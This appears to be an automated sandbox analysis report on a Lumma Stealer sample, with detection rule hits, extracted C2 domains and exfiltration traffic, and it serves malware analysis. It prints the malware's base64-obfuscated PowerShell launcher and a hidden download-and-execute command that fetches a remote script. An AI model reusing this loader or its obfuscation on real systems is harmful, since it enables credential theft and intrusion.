([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0JzQUc4QVlRQmtBRk1BZEFCeUFHa0FiZ0JuQUNnQUp3Qm9BSFFBZEFCd0FITUFPZ0F2QUM4QWN3QTNBQzRBYXdCc0FHa0FjQUJrQUhrQWR3QnZBSG9BYVFCNUFDNEFjd0JvQUc4QWNBQXZBR2dBZFFCckFHc0FOd0F1QUdvQWNBQmxBR2NBSndBcEFDa0FZQUFpQUNJQUlBQXRBRmNBYVFCdUFHUUFid0IzQUZNQWRBQjVBR3dBWlFBZ0FFZ0FhUUJrQUdRQVpRQnVBQT09Oy4gJGVudjpUZW1wXGEucHMxOyBmdW5jdGlvbiBKRnhLeW5paigpe2Z1bmN0aW9uIHZvck9jKCRlUFNySlpLKXtpZighKFRlc3QtUGF0aCAtUGF0aCAkSW5MKSl7Y3VybCAoU0xxICRlUFNySlpLKSAtbyAkSW5MfX19SkZ4S3luaWo7'))), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gU0xxKCRKRnhLeW5pail7DQooKCRKRnhLeW5paiAtc3BsaXQgJyg/PD1cRy4uKSd8JXskTHFsRlpScy5TdWJTdHJpbmcoMywxMDApWyRfXX0pICAtam9pbiAnJyAtcmVwbGFjZSAiLiQiKX07JExxbEZaUnMgPSdpZXhkT0pjeX5fNEc1X31nQUZtLUAwcHFZLnhCKW9oS2xRTHRCdS5XJVxhTW9JVEh7OjE2dlZlLypjeDdrdENYU3c7Um5pUXMwNEQjKDBOOWwyXCJmRTNyNWJ7IlJaOFV7MGp6UHZDNzU1MTU4MjIzNjUxODY5OTc3NjY1MTY1NTgn')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0Jz

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5820, TargetFilename: C:\Users\user\AppData\Local\Temp\a.ps1

Data Obfuscation

Sigma detected: Powershell Download and Execute IEX

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))" , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5776, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))" , ProcessId: 5936, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T09:32:50.514785+0100	2028371	3	Unknown Traffic	192.168.2.6	49992	104.21.32.1	443	TCP
2025-01-09T09:33:11.073138+0100	2028371	3	Unknown Traffic	192.168.2.6	49993	104.21.32.1	443	TCP
2025-01-09T09:33:12.768758+0100	2028371	3	Unknown Traffic	192.168.2.6	49994	104.21.32.1	443	TCP
2025-01-09T09:33:13.638531+0100	2028371	3	Unknown Traffic	192.168.2.6	49995	104.21.32.1	443	TCP
2025-01-09T09:33:14.653482+0100	2028371	3	Unknown Traffic	192.168.2.6	49996	104.21.32.1	443	TCP
2025-01-09T09:33:15.832012+0100	2028371	3	Unknown Traffic	192.168.2.6	49997	104.21.32.1	443	TCP
2025-01-09T09:33:17.059842+0100	2028371	3	Unknown Traffic	192.168.2.6	49998	104.21.32.1	443	TCP
2025-01-09T09:33:19.174072+0100	2028371	3	Unknown Traffic	192.168.2.6	50001	104.21.32.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T09:33:10.552902+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49992	104.21.32.1	443	TCP
2025-01-09T09:33:11.505953+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49993	104.21.32.1	443	TCP
2025-01-09T09:33:19.609984+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50001	104.21.32.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T09:33:10.552902+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49992	104.21.32.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T09:33:11.505953+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49993	104.21.32.1	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T09:33:16.280405+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49997	104.21.32.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 14.2.powershell.exe.400000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["crowdwarek.shop", "chipdonkeruz.shop", "versersleep.shop", "hoppricerwir.cyou", "handscreamny.shop", "apporholis.shop", "soundtappysk.shop", "femalsabler.shop", "robinsharez.shop"], "Build id": "yJEcaG--singl7"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Sample uses string decryption to hide its real strings

Source: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: robinsharez.shop
Source: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: handscreamny.shop
Source: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: chipdonkeruz.shop
Source: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: versersleep.shop
Source: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: crowdwarek.shop
Source: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: apporholis.shop
Source: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: femalsabler.shop
Source: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: soundtappysk.shop
Source: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: hoppricerwir.cyou
Source: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: yJEcaG--singl7

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 14_2_00415720 CryptUnprotectData,

14_2_00415720

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.6:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.6:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.6:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.6:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.6:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.6:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.6:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.6:50001 version: TLS 1.2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Directory queried: number of queries: 1002

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov dword ptr [esp+3Ch], edx	14_2_0043B870
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edx, ecx	14_2_0043B870
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov esi, ecx	14_2_00415720
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	14_2_00415720
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 1ED645B4h	14_2_00419840
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [edi+eax]	14_2_0040A05C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 53585096h	14_2_00427070
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	14_2_0042D830
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 01FCE602h	14_2_0043F0E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [edi], al	14_2_0041B882
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp eax	14_2_004418A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [edi], al	14_2_0041B173
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	14_2_0042B170
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [eax], cx	14_2_0041A900
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [edi], al	14_2_0041B184
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then test esi, esi	14_2_0043C9A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [ecx], al	14_2_0041B243
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [esi], cl	14_2_0042EA62
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov eax, dword ptr [edi+0Ch]	14_2_00402210
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	14_2_0040AA32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx eax, byte ptr [ebp+esi-00001458h]	14_2_00425AF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	14_2_00428280
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	14_2_0041F2A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebx, eax	14_2_00405AB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebp, eax	14_2_00405AB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, edx	14_2_0040B2B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [esi], cl	14_2_0042EB5F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	14_2_0042BB00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [edi], al	14_2_0041BB21
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov dword ptr [esp+14h], 00000000h	14_2_00441B20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [edi], cl	14_2_0041AB2A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+edi+72B923DBh]	14_2_0040C334
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx+72B923DBh]	14_2_0040C3EC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebx, edx	14_2_0042DBF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp ecx	14_2_0040D334
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	14_2_00422380
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-000000E2h]	14_2_0041BBA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov dword ptr [ebx], 00000022h	14_2_0042BBA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [esi], cl	14_2_0042EBA1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	14_2_00440BAB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [esi], cl	14_2_0042EBB3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov dword ptr [esp+14h], 00000000h	14_2_00441BB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov dword ptr [esp+14h], 00000000h	14_2_00441C40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	14_2_00442470
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 53585096h	14_2_00426C76
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov eax, edi	14_2_0041C400
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [esi], al	14_2_00417405
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edi+17ECFBF3h]	14_2_00417405
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edx, ecx	14_2_00417405
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	14_2_00414C20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov dword ptr [ebp-00000248h], 24272637h	14_2_0044042D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	14_2_0044042D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [edi], cl	14_2_0041B484
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [esi], cx	14_2_00427490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 53585096h	14_2_00425D6A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	14_2_00438520
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [ebp+edi*8+00h], 4B884A2Eh	14_2_00442D20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then push edi	14_2_0043C5A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [esp+edi+53BD8A12h]	14_2_0043C5A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	14_2_0042B652
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [edi], cl	14_2_0041B667
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, dword ptr [0044C548h]	14_2_00418672
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [eax], cx	14_2_00409E09
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	14_2_00407620
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	14_2_00407620
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp ecx	14_2_0040CEC7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+00000128h]	14_2_00416ED0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+3A4EC517h]	14_2_0041BEE1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [edi], al	14_2_0041AEFF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ebx, byte ptr [edx+eax-03DAF14Eh]	14_2_0040DFE2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [eax], cl	14_2_0040DFE2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+ebx+08h]	14_2_00408F90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [ebp+edi*8+00h], 0EF2A4EDh	14_2_004427B0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49993 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49993 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49997 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49992 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49992 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50001 -> 104.21.32.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: crowdwarek.shop
Source: Malware configuration extractor	URLs: chipdonkeruz.shop
Source: Malware configuration extractor	URLs: versersleep.shop
Source: Malware configuration extractor	URLs: hoppricerwir.cyou
Source: Malware configuration extractor	URLs: handscreamny.shop
Source: Malware configuration extractor	URLs: apporholis.shop
Source: Malware configuration extractor	URLs: soundtappysk.shop
Source: Malware configuration extractor	URLs: femalsabler.shop
Source: Malware configuration extractor	URLs: robinsharez.shop

Source: global traffic

HTTP traffic detected: GET /hukk7.jpeg HTTP/1.1Host: s7.klipdywoziy.shopConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49993 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49992 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49994 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49996 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49997 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49998 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49995 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50001 -> 104.21.32.1:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: hoppricerwir.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 48Host: hoppricerwir.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=BZ1YNC28EKUUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12818Host: hoppricerwir.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Q3BZYI5R4ZE2V1RVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15094Host: hoppricerwir.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=GCD4SAT76QKIL0EU8RHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19970Host: hoppricerwir.cyou
